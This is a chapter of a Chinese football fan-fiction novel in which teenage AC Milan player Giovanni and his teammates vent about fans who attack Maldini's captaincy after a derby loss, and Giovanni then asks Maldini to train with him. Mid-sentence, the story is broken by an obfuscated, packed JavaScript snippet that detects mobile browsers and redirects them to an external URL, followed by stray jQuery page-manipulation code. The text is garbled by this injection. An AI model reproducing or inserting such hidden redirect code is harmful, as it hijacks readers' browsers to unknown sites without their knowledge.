早在乔瓦尼意识到这个提问是在指责马尔蒂尼前，科斯塔库塔就已经在更衣室里骂了句粗口。其他米兰球员的脸色也不好看，今天的输球犹如一片厚重的阴云，压在每个人的心头。
“那些球迷到底想表达什么？”乔瓦尼在心里问道，“他们难道希望巴雷西复出吗？”
“这就是问题所在。”克鲁伊夫也盯着电视屏幕，“他们是不承认小马尔蒂尼的队长身份，我记得早在他接任队长的时候就有部分球迷表达过不满，今天德比上的失点更激化了他们之间的矛盾。”
电视屏幕上，马尔蒂尼正在讲述他对巴雷西的尊敬，似乎没有正面回应这个问题。
“矛盾？为什么队长和球迷会有矛盾？”乔瓦尼不解地问道。
克鲁伊夫瞥了一眼乔瓦尼：“你不是也始终认为小马尔蒂尼与你不是同一个世界的人吗？”
乔瓦尼闻言一愣，只听他的幽灵教练继续说道：“有些球迷可以接受老马尔蒂尼、巴雷西当队长，是因为这两人是从底层一路摸爬滚打上去的，与他们所处的阶层相同。但保罗·马尔蒂尼不一样，他代表的是精英阶级，从小生活优渥，有一个享誉足坛的父亲。在部分人眼里，小马尔蒂尼的队长袖标不是靠自己得来的，而是‘继承’来的。他们抗拒的不只是他，更是他身后那个他们永远无法触及的世界。”
可是这不对，乔瓦尼在心中默默反驳，马尔蒂尼确实与他相处两个世界，可他从未用那份与生俱来的优越感压迫过任何人，他会认真倾听别人的每一次讲话、尊重别人的每一个选择，哪怕对方只是一个来自福利院的孤儿。
更何况，根本没有人有资格质疑马尔蒂尼作为球员的价值。他是意甲最出色的左后卫，攻守兼备，仅仅是站在场上就有稳定人心的力量。在更衣室，他更是以真诚和平易近人赢得了所有人的尊重，大家会和他开玩笑，也会听他的指挥。
这样的人不配当米兰队长吗？乔瓦尼想不出现在这支球队里还有谁能比马尔蒂尼更值得这个位置。
“……那些球迷就是在放狗屁，眼睛都瞎了吗？”乔瓦尼心里堵得难受，没忍住咒骂了一句。
一向寡言少语的乖顺少年忽然吐出一句脏话，瞬间吸引了更衣室里所有人的目光。
科斯塔库塔先是愣了一下，但随即便露出了一个赞赏的表情。他走过来用力揉了揉乔瓦尼的脑袋：“说得好！他们根本就是一坨狗屎。”
乔瓦尼抬起头，表情异常认真地附和道：“对，是臭狗屎。”
站在一旁的阿尔贝蒂尼张了张嘴，本能地觉得科斯塔库塔这样带着未成年孩子说脏话不太妥当，但更衣室的沉重氛围竟因两人这副同仇敌忾的样子有了几分缓解。
“你们要骂就现在骂，等保罗和先生回来后就闭嘴吧……”最终，阿尔贝蒂尼只能摇了摇头，做出了无奈的妥协。
在接下来的几分钟里，科斯塔库塔自然而然地揽住了乔瓦尼的肩膀。出乎意料的是，这个一向抗拒肢体接触的少年并没有挣脱。两个人就这样并肩坐在更衣室的长凳上看起了新闻发布会，毫无顾忌地痛骂那些极端的球迷和揪住马尔蒂尼失点大做文章的媒体，大有一种彻底放弃做体面人的觉悟。
米兰的几个外援一边听着一边小声聊天，他们惊讶地发现意大利语原来也可以骂出不同的节奏与气势。
好脾气的阿尔贝蒂尼只能守在更衣室门口，确保没有外人靠近这里，要是“AC米兰副队长携球队未成年新星激情辱骂球迷媒体”这种标题上了明天报纸的头条，那这场风波可就真的没法收场了。
于是，等马尔蒂尼与卡佩罗一前一后返回更衣室时，两人都有些意外地发现，先前那种几乎令人窒息的沉重氛围已悄然消散。取而代之的，是一股古怪的沉默弥漫在房间里。每个人在米兰队长目光投来的瞬间，都会下意识地移开视线。但这种回避，并非因为他在关键时刻失点而产生的失望或埋怨，而是一种恶作剧之后不敢直视正主的心虚感。
“你们……”马尔蒂尼刚想开口，科斯塔库塔就“噌”地从凳子上站起来，“保罗，你别多想，球队支持你，我们都支持你！”他拍了拍好友的后背，“赶紧收拾收拾回家吧，明天又是新的一天。”
马尔蒂尼还没来得及说话，两边肩膀各挂了一个训练包的乔瓦尼就站到了他面前：
“队长，你的东西已经收拾好了，我们回家吧。”
马尔蒂尼注意到，乔瓦尼说“队长”的音量比平时大了许多，仿佛刻意要强调什么。而且说实话，少年用单薄的肩膀扛着两个大包的样子，还带着几分可笑的笨拙。
自赛后就一直憋在胸口的一股气似乎被人戳了一个小洞，失利的沉重与苦涩就像沙漏中的细沙一样慢慢流泻，不再死死地堵在心口。
马尔蒂尼的喉结微微滚动，犹豫片刻，才低声说了一句：“谢谢。”
他伸手拎过了属于自己的那个训练包。
“……好，回家。”
在回程的车上，马尔蒂尼很想问少年更衣室里究竟发生了什么事。但是话到嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383118|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边，却是一句“明天你想去哪里玩？”
副驾上的乔瓦尼闻言一愣，眼神里全是茫然，什么哪里玩？
后座的克鲁伊夫立刻无奈地摇了摇头：“我就知道你忘了，你赛前答应小马尔蒂尼一起出去走走，就在几天前，米兰内洛的仓库里。”
“啊……”经这一提，乔瓦尼才想起来确实还有这么一件事。
可是球队刚刚输球，现在无论是谁怕都没有了玩乐的心思吧。
似乎是察觉出了乔瓦尼的迟疑，马尔蒂尼的视线依然注视着前方：“那个邀约与比赛的胜负无关。”
乔瓦尼一时没能回答。他望着窗外安静的夜色，脑子里却满是今天比赛的画面，马尔蒂尼罚球后的沉默、卡佩罗嘶吼的背影，还有克鲁伊维特腿上的血痕。
他忽然意识到，自己是真的在意了。
他在意这场比赛的胜负，在意队友的疼痛，在意看台上旗帜的颜色。那种原本只属于“米兰人”的情绪，已经悄悄地钻进了他的心里。
乔瓦尼忽然明白了，为什么自己竟会因赛后身上的那件“干净球衣”而觉得有些羞愧。
原来，这就是“我们”的感觉。
他还不能确定自己是否已经是“我们”中的一员，但他知道，他想要是。
乔瓦尼搓了搓自己的手指，心中有了一个想法：“我想去哪里都可以吗？”
“当然。”马尔蒂尼的回应依然温和。
“我想去练球。”乔瓦尼简短地说，但他随即便意识到这似乎就是范巴斯滕过去拒绝马尔蒂尼邀请时的说法，于是立刻补充道：“我是说……我想和你一起练球，队长。”
马尔蒂尼确实因少年的前半句讶异了片刻，但随即而来的解释却让他心底泛起一丝复杂的无奈。
“不，没关系的，乔。”他说道，“你的生活中并非只有足球，今天的失利更不该成为你剥夺自己休息的理由。”
但乔瓦尼的目光却清澈而冷静：“……队长，过去的我一无所有，也从不觉得自己有资格去争取什么。可现在不一样了，我有了必须实现的目标，也获得了来自你们的信任和尊重。”
少年侧过头望向马尔蒂尼，“队长，我想得到更多的上场机会，这既是为了我的私心，也是为了告别今天在替补席上无能为力的自己。”
“我没办法接受自己只能坐在场边，球衣干干净净，仿佛这一切与我无关。”
握着方向盘的马尔蒂尼沉默了一会儿，才低声答道：“好，那便如你所愿。”